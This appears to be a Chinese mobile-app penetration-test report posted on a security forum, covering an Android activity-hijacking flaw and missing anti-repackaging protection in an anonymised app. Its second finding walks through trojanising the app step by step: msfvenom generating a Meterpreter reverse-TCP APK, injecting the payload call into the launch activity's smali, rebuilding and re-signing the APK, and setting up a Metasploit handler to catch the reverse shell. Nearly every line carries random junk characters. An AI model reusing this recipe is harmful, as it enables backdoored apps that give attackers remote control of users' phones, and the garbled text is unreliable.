- A, m9 G6 v: o9 Y% L" P 3 }: ?( K# C4 B/ G# q- ^3 Q 2 检测结果                    9 s* i. T+ t, N% a p# q 3 H. B' ~# e+ ^

' D4 k i( y. Q9 S8 K! J' X( P! j8 b/ f* ?

! k: ]! q N9 B" T6 S + w: A( H" A- e& P! s7 { o 2.1 某某某 & i& E+ m) I7 X: Z! k % _( n1 W0 w% g+ K& A

7 T2 h) [, A: S4 K " w- b0 v( Z& K p7 L

' ]! q4 U' ?3 m; J: N$ n9 w5 X 4 z! V- p4 G+ H5 |/ z 2.1.1检测目标 0 ]6 S5 M7 f$ W; m+ | W # K9 y& O7 a" f' e0 l2 U I

0 J$ V: ^7 n$ q0 a 5 H: \/ D/ x% N, y- G

4 Y) d( f9 J& ~& B, a , v+ {5 g# X: x2 l 目标地址: 某某某某某某APP 7 d6 p+ A2 e$ I2 ]2 N $ G: x9 Y5 y& s7 g# y V7 |

; q9 i. `5 l7 m& C9 Y) v, S, X# f& ~ l7 s: q% Y6 `/ Y l0 E

5 L& D2 I) J/ p- ?% T( M ( P2 n0 B# a$ Z2 n$ Q" k 2.1.2检测结果 " b7 C, m* I/ |3 Z z2 k8 k/ ?: w , F( j: Q/ U S, H' X' E* l

& z8 ?) y1 I5 ^1 y/ f / W- m. f) x4 R. u& E3 N

$ C1 h, G& C% m' f: N4 p2 R' F" h6 \& R! ]2 g |" N 2.1.2.1 3 }0 @ I7 Q9 O* C % H% _" @3 N! q/ ~; `4 v

) _ [, D) h' _+ @& r$ t5 G- e / Z- S0 I, N. t* y- M

3 W1 T; Z3 M. z' ` 4 N b8 ?0 Z% }& i6 q 漏洞链接地址:某某某某某某APP & V4 Y. K4 u) L8 F7 _) y ' @- L- ?; q' z% ?% M* E% e

7 c- S6 [; O" [4 R& W' _9 K ; t3 t$ M! Q8 b! N1 Y' u0 y

, H6 O/ K% V/ w) w- y& ~) A; Z) b" C2 _$ U   ) C& P1 I+ k" t! h. H 0 L6 G- b( {7 G

1 u8 U1 m2 k/ \; k, [& @. h( I9 l: D& |2 T, k

+ t0 H6 k5 s3 B' g , u* ^/ \9 ^( z# o; ?- z7 V 漏洞分析及取证: " b- z8 ^. `- l, H- _ & p+ f( O9 P% G+ O

`" t+ M g3 `* D% }8 B+ v + T3 e" ^# Y+ q d8 S" @

5 {' _/ t8 r* B) [$ [5 ` z7 C5 ~: S1 L4 e                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 3 v# m( q# W6 p+ H ' b3 u7 p. c0 f7 i8 I

1 g$ p) F$ F; u' h7 a5 i& g 0 \! H2 [3 o4 ^% H+ Z" A2 x

! L% C0 D5 x" A6 C 9 K5 l* h8 f1 ]# e7 i      & Y- I7 d" M" _5 v4 X5 X8 T0 K 3 H x$ M1 n( ?4 L% Z; S

+ u$ I7 D# c) t1 R: `1 E& |7 \0 o% m3 i/ m

$ x" i8 y3 R6 V: c" T . ~9 m N/ v+ l- s1 d# z) o                       ) G/ S& v7 W4 Y6 C9 y5 T3 O& W, L2 M$ k k# L* _; W2 z0 P

9 l% T8 A% H2 O3 o5 O5 H1 t 5 p2 g9 p4 s; }2 q1 r* j

) E3 V; E. ^6 u1 k& {1 e 6 z# n$ A9 t$ B& k" g4 { 3 Q5 a; b$ Q; { . {. ~7 G* E; q: r0 \$ R" f

$ n: {, A8 {5 Z9 Z + S+ e0 ?( ~) A6 o

^3 A3 p* B& d: h) q9 x 0 w1 G- f. ?8 X; T. Z- G" O, G # M& j9 I; N8 y0 N: A. P4 [ , I& M- O" \. ^2 w& }1 x

$ u8 h. L5 M) P5 Q) V& N, g# H & ]# o: n. [8 j0 i8 X2 w. q

+ _3 y) ?! V0 z6 |7 @! @ / `# g! {( R/ z M3 [, S + y+ y# ]- U8 a- W' g" o . ]0 N! E8 W( T

$ U/ g2 b2 V7 p. [% }: d6 i) l( ?/ y5 ]

! r; t4 x6 S) K; @' E& F J: w0 \ P7 g4 V7 y 漏洞危害:高 + n* U# M2 d% [/ [9 v " {6 F& G. E+ A/ q' A

: S Z) ]5 W$ m/ m* |: z 8 t2 z: b/ i+ \! e0 C
' w8 T) }0 ?& } D- `% D. {1 } / l W9 ]4 }; z5 p- r. s* n# R- x K 5 y2 G1 Y! G* O" o! p. J) |+ H. f K! k. I X% J8 w8 l8 B2 |( k9 P5 g! h8 A" r# |- O' _, c3 n0 v y) s" I* Q$ v, O& {. J, S7 D- m [8 l: o3 g, O5 S! P, K, [8 _# D" i3 v5 d3 [! ^1 n0 B) D! g4 G" p5 Z" H5 N9 Y' ?/ ~( E: U: c. Q* I8 O# y1 X* n5 j6 z8 L* F- V/ ^2 P+ S: x& B, [ }8 }1 K7 V) w2 l0 t& E: s) K+ f# K) }/ I8 t( a( i6 ]/ g# p: F3 n5 _* {. Q3 B |. m p3 |' Q: o0 P1 ]3 s1 H9 y9 @3 V! ?( O& k/ u$ ~+ ]4 _. }3 y. S& b; u4 A+ I6 y) j/ D$ E4 J# W# R( G- E8 ]# F/ Y5 h0 m G1 d. \# z3 v7 l; x- [6 f+ ] e8 Y, u# B% _' h8 E( v' t$ R! N T) D5 [4 z# m+ K+ s. {& x/ E9 f+ a4 C3 `
; C& L8 ?* P- x5 { e . |8 X+ {% [, o. l* u

( d0 t2 |! t' `- S! J& ? 9 {4 |1 I- l) ]3 y 严重程度 ; P6 X6 t# z s3 Q4 @3 j% X. l ! G' O# {0 W P' P. X" _3 }

' N* h" @% z |' Q5 ]" a' l" A! i3 f
- ?7 w$ Y. @6 C8 N% y% v8 L% t4 H 6 g; M# m' r1 }+ D! K% Q, t* a

: H9 e/ W5 Y% z) |% b. N# B9 f 6 K: Z8 g7 z" v6 @- a( M 1 c; G3 ~' N7 b1 R( `! _5 \/ F0 _ ) w- c! R5 P6 ^+ E5 _

; w6 c. r! r: v' `4 z6 x & O; f7 ?9 X. ]. ]$ J) `& U' c+ J, b
4 o+ x' G. R' S 9 Q: l$ o% h' I% ~; D* X5 T4 P* |

$ {, U; {( A: O% H, s \7 _( F) E" @, R / L- ?4 R8 G: S7 e, I / t+ D3 a# V" m

9 Y+ c1 c* E8 c5 P. x + u' |7 d8 D& q1 C
5 O- S; v/ V$ r( V( E, ?9 a n: O' C' j8 p9 o2 c

$ J0 S. {+ B( C7 a3 i& c/ S8 r" p: M9 z" D! p3 T8 L4 N4 ? " Z' f5 j6 s' `0 K5 q8 \2 v& U& c5 T' T, ?; h& `) w2 c

, [2 v" x( X; n( t( s. z" ^: v$ j8 C ) M4 c4 w- y: s/ g& [1 `
6 |0 i( d* x( D1 [# |+ `4 j! J. N2 |& v0 R8 K8 J- J

' g; e1 e! ]' ?% j* } & D' A; K) }- z: y* I4 X   8 Q2 U# f) H! r, ^ 9 O3 F) Z# E B9 ^& O; F

/ u, }1 q2 d& r3 \ / a* j$ t3 e3 _0 X3 c$ h# |, Q) b
. D2 e( y% @, g# K8 F$ g# I' j! M# v 1 {! {5 N3 X, X) H# [! X4 u) K: l0 J

3 Y c4 g, [% @. t' U* I2 M + i9 g5 H0 ~7 W0 p( ~) w 7 P, g+ H. x' q ' k0 B$ P- J' |9 W0 z2 k; C( M+ X( n

1 P' s' j+ L" x2 e2 a9 \$ X) G3 o9 n
: e. ^6 X, c' D, g7 T4 \+ M5 c+ {9 L4 D; B% W3 a5 q

3 H3 V* x* Q! C+ d# `8 J* k5 |0 B8 i2 W   ! ? `& W3 E1 x. G+ Y4 \* O Y7 e4 F$ b* P' z# a8 \

: w: b: `; s& ^% p" I3 D1 A 8 {) M5 Z: b+ L j0 S" ~& y
8 n, c# F: y* K( y* K U 2 h7 J x+ ]* U9 C
, u/ B4 }5 ]) H( P4 f, t * \; X: y; ] S' ?% f* n: E

* ^$ B* z8 t/ H! s+ Q; Y2 K . i4 j& O+ j( Z+ _+ H   - Z& h, L1 T2 I( X+ g8 `6 K C5 D ! z# h! t! |3 Y7 M* [8 B) r, J* s

9 l" Y6 H+ a1 x, l $ O8 t/ R, `. w4 u- n3 F/ W

) m- ^* S( F% d" y 4 N7 I2 R2 |8 k" M4 k3 E 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 , k* u# |+ G5 a3 f1 y& t , k. ]4 E1 a) ~; A& o9 U

/ }$ o! X) t; u) y5 i# }: O - Y- s% f) M4 V% e$ E- v

. g: H' a* E3 y2 q : W4 y& \5 ~1 [           1 }/ V$ a8 z" ^2 L" q( _ + u4 ?$ S& p3 {: i: v- I

) i# U1 I4 x# ~& V5 ^6 y6 P9 F7 s1 a! q: z0 r6 u5 I _* Z% j

* b J. e- ?) w( R2 Z4 Z # C# G( j6 F2 g0 d8 X9 q% C   4 o" G- c$ Q4 N4 q9 M7 Z, n. P; [6 g0 K9 s5 \' d' y

. \2 I: N1 U* Q3 I( U0 ~: _) V7 X

* o, X3 M( H- n/ k$ h# g 2 L7 K; ~) n& X1 t4 O. g 2.1.2.2 % o/ X- Y4 K( _2 L& X0 q1 M; _. M" l D/ i0 G4 V* g, F: A

4 R, t8 O, j1 c# K* ^) T$ [% ? % F9 }" M' X+ G( P, l9 H

- \# \( H8 _+ n# t5 f) [4 D0 | 3 z6 Y1 {; g7 [1 `& H9 x/ E 漏洞链接地址:某某某某某某APP ( p; s7 j4 K* N! g" ~0 [3 F9 s0 Y6 u! J" W X

& h# f1 I/ N/ E3 }4 B / F3 z" g8 D) s K l

0 v8 Y8 O' o" i + W; ^' k" C: ], V$ y 漏洞分析及取证: . ]/ I: T: z. _ 6 J% A. ]9 \7 Z. F, v' n

# o- j: r( e# F1 U+ v 4 ~- X b5 |7 J4 w& k" r

/ e: ?. B/ C& M$ D. V0 B/ {$ o M; n, M" t; T                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: . D [) c! G3 f% _ & h) x, @6 o3 z0 G2 I' k

$ C% n: l# k; V9 c8 m * b7 q6 H/ L! {* Y/ B" u

" }# A( G# K; N6 ^8 e- P3 x# q- {. e/ b/ @ @) B3 j Metasploit 生成木马 apk # l) N. B6 {# E* I, R+ K % u* C& I9 ~. N& [

( K* G" @1 V" U2 X / M1 a% v/ y, M+ l6 b" I

0 X- l4 w* M6 ^$ g+ {$ O 5 j$ O% f4 H0 n& l" ? msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / c. q* u( R: a, ~+ j; N4 _, i 3 s1 M% i* o; s

0 \7 G F% }; P4 l1 h" J 1 `" d' O- G% r: i. G/ Z

( j: t. T3 v# S+ p; Q ) x) V O3 [' o, b3 |6 H Y 反编译目标apk和木马apk ) v! ?9 d' X l: ^0 V* N7 r6 l# Z% U, X

! N! g/ B3 A% d 3 ? [* `- E. B5 N1 K

, a& `% m& E( i$ m8 p 0 n9 K$ D* j" i apktool d target.apk
, Q1 N- U! t$ o3 c" K3 P0 y1 n# |$ ^; z4 c, n* w3 w0 q$ k apktool d cockhorse.apk
[3 U$ d( F' ^4 e; D0 ~- k8 `! U& O9 \7 T0 D0 k

' k* O- K- @! c) O, e / C& i& K* `- ?

6 H& V' b6 c$ Z5 K! R9 q V7 f# p/ q, [* A 木马 apk 注入目标 apk 5 Z% g! L" z! l: x ' ^/ ?8 ?: B& o. Y5 t

2 @1 u# o e% S+ V . ^2 x3 n6 t- r7 `# g, i

4 N3 S4 y5 B3 Q7 r+ t 4 A' b7 D) q; J- k 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
. f6 }' W5 }" K # n) y' R5 J, v/ ? invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
' |' p4 @$ s+ a4 @; o Q6 L7 h 2 O( _ S9 C* R9 W7 j

8 H. I$ U6 [( [/ o ( i5 q. L. h; {& z" m% |) U* ]: A

6 y @: @+ _9 }* {$ f * B8 y) D; i' J2 K6 i! a 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 / _$ ?) B7 ^6 ~* @4 Z" @5 z6 B$ p7 d- h" H! e" }

. U4 c2 h- T4 K" G" @- U: [! h# h ? q1 t

* k" j$ t, M+ ^: a$ u8 v 2 ?" o9 |, { E7 R 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ ' d. k8 e% L0 t4 g! W$ z 5 e) _/ v: K) r2 Z4 }

) j0 P0 x7 Y* E $ E0 B* F9 j# ~

) \. @8 j# n+ a3 y& B L + ]* }$ |7 m+ ~1 B' \7 m 回编译生成最终 apk " q# U, I$ }& f3 m" w' c: _4 F- s8 Z! y9 Y

4 E; m2 K' a9 Z3 ?7 C5 u, k+ z, |2 y/ p" K) f

: |' A3 K* b \4 } : }& M, z2 V$ b, G3 h8 k9 Y1 D 重新打包 / Z- Y! X3 p4 k 6 O; q, ^: u0 M* i4 y

+ D! J" u; Y7 V) E. Z ?8 h1 ^ / I) r, ~$ ~ P3 u0 @5 ~" b: p

1 ~+ Z2 R0 I) J2 P( n9 k# o z $ W3 ~" Q/ f$ H7 H5 ^0 f5 v apktool b -o repackage.apk target_app_floder 5 b, u9 ] A$ ~6 A0 j: J. F$ c) Q! X& V$ n" Z

4 r) B& @2 ]# M* n- G# |" B ; F6 _* \, s: I3 F( v8 T' U' H

, c$ \7 l& l- |8 v% O j E9 P; D/ e% ^8 U 创建签名文件,有的话可忽略此步骤 1 Q, e5 J/ P+ m0 q ; @: c& S$ L3 f9 f# C

& i4 H( ?( k* K/ J. H) K! v 5 ^( x* l* O- ]* p

" @! i3 n7 A+ s( y: Q+ W; U 1 q0 ]0 Z" [* c2 i% n/ ~4 x keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                1 e8 L1 M7 Q8 [/ i ! d! y) J% p& r* [' T

0 J$ u- _7 U. k 1 m4 m$ J8 l+ O7 M

. q4 i* r5 f% x ' o5 Y2 n2 }) T5 F2 h! j 签名,以下任选其一 / U! J0 v5 w* y" @( I" F e 2 U" z( Y& Y5 T" G+ i

, m4 @3 F/ |& J: n + G% o) M, J* W1 K9 l# A* J

2 Z* k" c- P! R6 ]' n% U! Q% B6 J - ^7 ^9 c: ]! ]. s9 N# d1 G jarsigner 方式 " u0 P: m# {* i6 F7 C$ N : O7 C6 [. w* h

1 P/ f% ` J! ?3 x5 p/ E1 @, g8 p3 f

8 _$ ~0 F$ f- y2 l; q ' V' B3 b$ g( @: t/ m. H jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname * F" M: t* X- n0 `8 X; a : o! s; T; X$ R( u3 T3 V. g

9 h3 w) I3 o5 _7 M+ I+ l 9 {) T8 X: M( b7 |8 r+ E6 @. x# F

$ k- h8 h! j2 Q ' C0 w& n% _, Z6 t apksigner 方式 + }' R9 X: S' l5 w! h7 K2 C 5 l/ Y: W/ {" v* ^& m# @( {8 J' N8 y+ I

j/ I3 y6 C9 a1 q# ~* O- S* M! Y9 M9 B0 h" E+ X r

, f# g$ [7 {: U5 H2 y& {% j: J: [9 K6 q. k+ H; w7 B apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 0 H7 G+ [4 S9 M% A% z . U7 v( f4 R2 o& x* a# E/ p

6 V0 x3 k/ y/ q+ H! m2 f1 _9 l( J* D6 w) ?

! I% `) I" w1 m: I w6 f3 \ : Z5 b1 \4 D) e4 ?# J3 g* s 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 k; i$ P6 Q; k; b8 N7 u$ E# m4 ]% E

9 U4 L# C7 H$ k+ x' p K' C' m4 c9 z$ n6 X

/ g9 N* I0 y/ [! l( W . i% M, ?) t% T1 q0 k# { 验证,以下任选其一 $ y7 E3 _ r% H" g& E ) Q& S- T) w: C; m! G; t+ C

& t+ J+ [9 L: ^# ^2 K1 y 9 X! j2 T( |6 A K6 {* E: b0 K

7 E1 j5 B- N- f+ T% l0 { $ T/ w, m7 ~# u% Z* j jarsigner方式 , o" A. T' E/ I. W9 Q: l, P % E, `* w- P. {3 M- H4 a

/ m/ ]% }0 C4 w5 T y% R+ T' Z7 J3 q0 s* A! N+ }7 f; D

2 A0 W5 _" V7 S - y# b8 t2 R* w: F T! E2 e- z3 E3 O jarsigner -verify repackaged.apk $ A& j0 Y. D8 B% Y1 I) z4 N9 s+ ?- g3 A$ k- g

4 l5 |9 l9 O& U R 8 g }: d0 }' r9 H, Y1 _

% g. h: w' P+ m$ y# d: ` + ?7 V3 _' I' V7 n apksigner 方式 ! q9 z/ T) d5 X4 f; P - \4 ]9 M4 i& J' f$ R

/ q# ^: g2 ?: ]4 m! s 1 `4 h: Z( U2 C- @8 W* u

' t5 s5 n$ ~5 u/ t' e! J! y8 ~) i2 q5 E$ m$ s0 e apksigner verify -v --print-certs repackaged.apk & c, S5 s9 ~! s6 W% L; Y1 ^1 [! [9 M- M9 o4 j

8 J2 V( k( k; g% ^5 a * F6 O! g1 b6 `/ t

- M( I& ?5 V5 ~9 t& B k# D: J2 l * J4 u# E7 g: z0 V keytool方式 9 F) f" D {: h& k: e 0 y( T* T r1 @' e! ]5 ?6 R; F) O: O

0 P9 ]/ M, n; F! |' N5 K r$ G6 _4 Q( F* h9 U6 U

' z% | V/ ]% F# m) }2 s , S, h+ ?6 Y& ?- f g keytool -printcert -jarfile repackaged.apk 7 s- r) W! Z3 T0 N 2 [( {$ B8 ^6 D I7 w; {5 P

$ B, Y$ y1 }9 Z( @ U- s2 g0 ~- ] + D8 @- d8 f/ h" }( V

% T0 d$ h# \& T7 a' R1 _9 l8 K " ?2 O: F% Y$ d5 h8 R) F5 d 对齐 . y$ N7 t ]8 Q: O6 p" j : K2 a" b/ \; k# y0 E. M

7 O4 j6 n" C* y1 U# f ! i% f3 q; ^) i! U

7 ^( U5 U& G# M$ N. @ $ z6 r7 r; C& H$ D" u, ] 字节对齐优化 ( D8 ^3 G5 ^; f9 N( N $ j; _! a8 }: P

5 t9 a- L t- r% A d4 z2 w " z! Q8 m1 v. A

" n6 V+ P) A# O, R. O; l( L3 ]1 \ 2 U* N0 L5 t, [. g zipalign -v 4 repackaged.apk final.apk 4 p7 N2 |8 p: Q: Q1 a7 K9 p 2 I/ \0 k2 |& y; ]% v5 W+ B$ K- E6 |6 L

+ {0 r. I$ W9 a* @: E 5 h# D, Q0 e& [! W1 }( R U6 C

8 y6 i. v+ w8 _- d( n8 l2 H 0 P6 T k7 ?. d4 o6 H 检查是否对齐 % W. e: p0 P+ T6 c' O8 @. H/ K8 o' c V8 f8 @/ n

7 E8 z n' I! v, { & A" R* z2 j( g$ Y! U" \

" G3 X3 c' t6 B7 j# |6 \4 I 3 g, r; X& r" N6 p zipalign -c -v 4 final.apk 8 x! t) g3 w* ~& v5 T* d" x # H: h' L8 c4 o" j4 c

# x$ {$ s, w9 E- p9 C5 d7 {0 { . c( v" [8 u, b% x5 i; l0 m, k! S6 p

9 u' L+ i9 I8 N6 B: x 4 k$ A) K: ^7 j' u; R) r+ H6 j! C' i 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ; Q7 w% O5 e5 I6 a4 d. V* ` 0 R( P0 T; V5 ^

. |, f: K# z0 i 4 Z$ @) t" K4 Y1 v

3 A5 V* P% F/ `, E M3 A6 d * |; l# }* F% g0 A 启动Metasploit控制台,配置参数等待上线 ; J9 `! P1 p0 \% F; l( r1 j- I; h x- m+ S x8 I3 _ J

: c; _0 l8 V' P* O+ C: ~! \$ S + N& C% b" B/ ^. l& A

4 s5 |: N9 t7 d: I: D' ^4 c ! [. q* w0 f# x, g5 l1 p5 S 在终端依次输入如下命令 6 w5 c" a. v+ s) a0 T' { & `* X# h8 v* ` p

1 g( j4 J$ @/ e5 E- r R5 W% [ # X) K9 o: j2 L% `

2 ^% W0 H- }9 y. U0 A* r" e0 d P. J8 f5 F8 y4 f/ }% A msfconsole & I3 G ^8 E: [; {1 @ ! e% P2 r& L) ^& V# a1 ~

' z( Q& G/ ~. o2 F* o + O' J+ I8 `! |" z2 o

- b- W5 T+ v! E+ J7 r+ e2 ?$ e" m+ [0 p5 I/ P use exploit/multi/handler 9 g( r, H& ~0 W' n3 [ - r) d& L# a1 O

7 z2 z' I) b5 W( _0 s % V& p4 y( Y% m' T: i+ }

3 ]- l( V. M u7 J9 t + ?' o# M& t9 q/ }/ e3 Z set PAYLOAD android/meterpreter/reverse_tcp , j M1 z d- I$ b$ [" Y& ] 3 O. \& F: }5 W |5 o: \" Y& C

9 b4 D! i% V' C& E- I9 ?! c: x* a/ g/ n6 X: Z# N$ ]& b) F' H

) _7 _$ b1 I3 Q# ^. z % }, H# ]* Z1 X! F ] set LHOST 192.xxx.xx.xx # H. n$ m1 y" E! d3 l6 O, a- b+ [# I9 m+ Q

8 t( s, \; b3 t: a, i% ^5 W 4 m- H; j. T6 v, Z

( u5 v- f3 F, r1 o' G5 z( q$ H J4 f6 ] X4 H4 J set LPORT 4444 2 C2 q% G9 ^7 e/ U: m* ]4 L. I, [% D % {' g; |8 D- P" e* J* U- S; s

" b( }3 `5 W* Q+ V1 B2 n# q4 y) |7 V, v5 u, V

$ Q. X1 {0 U9 {* V" _: s8 v ) w0 y1 j" L. e/ I) `0 n: H5 s exploit 8 `8 v. A7 C7 a f! @, u5 E+ B3 S% [7 e+ K, U

* L, x* V% M- l. Q3 Y3 C ; B- w( q' Y& s$ v! x

6 c1 c0 V+ o2 t! b& P* l , V! t& k2 W+ c$ z: c. l 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               & Z5 V1 y: [ S$ M( C6 N5 X % Y5 u- Y# A/ Z* t7 v' N( v5 l2 L

2 V: E1 Y' q3 ?1 o D" n" ?' Y& W, `+ Q( U / |7 U! {5 {, k E5 ]1 Z, @; h

- K9 {7 P! I" j- @9 p 6 `9 u% t7 C( s' J4 r$ x# j; \ 漏洞危害:中 3 X9 {/ Z, v% ~5 W 4 A5 h3 Q/ b. H; U2 {9 M

3 t! e' L+ ]1 s4 D s5 { : X6 F: t, U6 n7 P/ r/ P: _
8 v0 Q+ a$ L0 Z! z; U( k + w* U6 K0 y8 b1 g2 x& J- n , Y: i8 d/ v: p9 B' ~, T ( R. p4 H' o5 o 8 M# o: O2 w' E/ e5 _: ~5 M# ]. l3 e8 S1 ]2 y; w4 n4 B* M) k j4 K) r& U. u4 U, M! }" H$ b' ~, O. [; I& v. v6 H1 e# R, g& z% |# c7 F8 `3 g& y9 q' s+ ^/ m) J& v5 ~9 C* Q, m/ F+ g: X. F% L0 T' u% R) B" U- S+ J& F) o5 z, J) l: i1 p4 D7 k" F, e- q, L/ J+ M7 Q( N; |" S9 m4 a/ [6 Y8 J% W2 O8 p; |( ]( ` m5 |2 f" W& s* q5 q$ [; P! `$ |. ]( V8 E0 x }7 y( A4 h2 @ p- P( M. r, L, S; M" D; Q. T+ Z6 G9 F$ s$ ^/ o( X: y& L9 T8 D, z4 ^$ g8 L4 q( j+ O+ q- X) `7 |" i7 b3 [2 k' p2 x. s4 D0 o# L( T, p/ p: G! B+ b( u- E5 }, M. g1 ]5 t3 v8 i& @) b- o% ^- J w7 \" C( S8 h: }$ ]
7 v4 D7 h$ f% z8 |0 f 3 ?! |4 q* r2 l$ }; Q

- J6 i/ _3 w1 M . A; H( ]7 e" \3 ]! r9 r 严重程度 ! j8 j* z5 K W, {! z. R; o( {% ]# n) e

( S% ?3 C! _4 A; U; g; q - ]/ Z, ~/ u9 ^7 F
; o0 V8 y% _/ x( F0 v4 e# ~( x, ]6 y7 b) t2 g

7 U) R( G; t% g8 o( K- `2 M / E; v. I6 _7 n2 u7 _% ?# o3 N. d$ ? " p0 P* w- F# w7 B * e" s% u$ o1 T* ^! z

: F$ F' v" k3 B( d ]4 m ; w0 F# G! E7 b. F( \; X3 h0 k
7 I+ C6 g2 {; W% I! h! e % o9 [# E7 p1 o3 N

$ |' [ F6 X2 L6 F% E/ x X( P* t- L+ @ 7 D3 D, I+ }& r% I+ H6 j7 x0 m$ b+ V' d. E* y. ]( {

, V1 r; h% i: q ( F" V( r* _6 j% \! B
+ N D. x5 H, C7 R' q % C; n2 _4 ]7 i: ^- @/ l' h

2 Y9 Z$ ~; Y8 f. G , `8 A7 p# _7 V* |( V. Z3 E % o) U3 N# }& ~( R" _ ) I& U2 z6 ^' e+ x( ?& z- t

2 y5 `" r4 ?* F. \2 c) }4 J& m9 x- z6 T ~8 J
$ d9 e8 Q, o5 U # u+ ?; d# X" [. t 0 @6 b5 e/ o! S3 Y3 l$ m $ V! Y1 ~1 ?: x5 w7 q

2 L j. e& [$ L" ^4 w ^6 @ & A& C, ]5 B" l2 b# A) K   3 d# U3 P. I; G% v! C) q, ~ . b s4 p6 H2 \8 F3 O- `6 p Q

/ K! u1 o+ Z! \. `2 q, c 7 u: x. }, k9 S3 r( R2 F& g
. Y, M: p8 I: V0 V3 C# O: z6 [2 o' i* k

+ [" q7 U; G5 q: k+ c$ {! T 1 f [; i4 e" c! {( e* g 0 z3 X* t3 D6 D' r+ }' U$ p( X# M& a* w5 J& ~, |4 j2 t$ w

6 t$ A7 T8 z: u# r( y: E- K) T6 j& s4 W6 w# W# O1 U d6 L" k" x
" |- q9 P' G6 _, s % { }; }' S: I2 j - N: J( @6 q a$ Z A1 J$ Y1 L+ ~# Z * @/ ^" P% z/ @+ O/ _. U

" B0 ] w4 e' c" \ . P9 H$ F) t' W- I& h3 x   # b I3 l" h0 ?8 j6 M& Y$ h. ]0 r( S$ x, S, s

; I1 ^* e/ ]# k4 e2 f 1 X4 F& Y$ Y) z4 r* ]5 M4 X
4 C5 \* j2 l" ~4 y" X x9 v. E; X* ]! x5 `6 O3 J( R( B. {. r/ a
2 r2 w, ^3 G( |2 @. p' s0 [3 j, {# b) z

. C4 y8 b9 w7 i7 _4 ?( g- z3 `' E* R9 [0 W* |3 @+ w5 A2 h   8 \: ^ K: {" \( v# f5 S0 A & ]7 ]; U% s) ?6 B) C$ H7 K

# _; V% P% l" t0 C9 [- f$ o: K8 l8 u0 X D% b: _) t% g. j

. @9 E: Y1 s1 Y, w# y( w& t0 W " G9 x3 ~: b) j) o. r7 x" Q& |" | 修复方法: / f$ X4 P* P, w A' y ! k& H% }' B* Q, ^

% T2 e. y" J4 Y6 ?$ H& _ 4 v4 @" \3 d# p$ s1 M1 E2 Y! O

$ Z9 z# }: E* A) G; S: b0 Y% n7 Y: X8 o( h( j               1. APP 启动时应做签名校验防止二次打包。
5 a. e( n+ A8 h) X- E! u; L ( M' o4 `+ l, W j6 o 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; t+ c7 F3 a, r " Q* W" \! W) G' _7 [

) {/ A7 n6 R M b5 D6 f # k2 A$ R. I% ?; j* P& ` * A/ B! s' z5 M2 X * V9 Q. i6 Y; y. X

% \# d; p. Z4 D+ j, e7 H! R$ p j' \) Q$ |; F& ?   ; U ]4 O+ W+ P" B + y0 ` r1 {, O9 W- R% E6 U( A6 x

" U3 P. G, [2 m0 [, d) @* D9 }( b, J/ X% F/ K/ w 4 k* P- G! f" |4 k0 X A : p# z8 [# T4 A! ^9 i& I

0 s5 H6 g* D3 v* ` + U# t7 F" a$ x/ W# j
8 P+ N' T. K& W0 D$ V5 u: R 5 R4 [+ r% n0 w$ S* O

$ s @- T: {' T" R# q2 p* Q& H $ C3 F: S# M' p. F4 I# Z





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2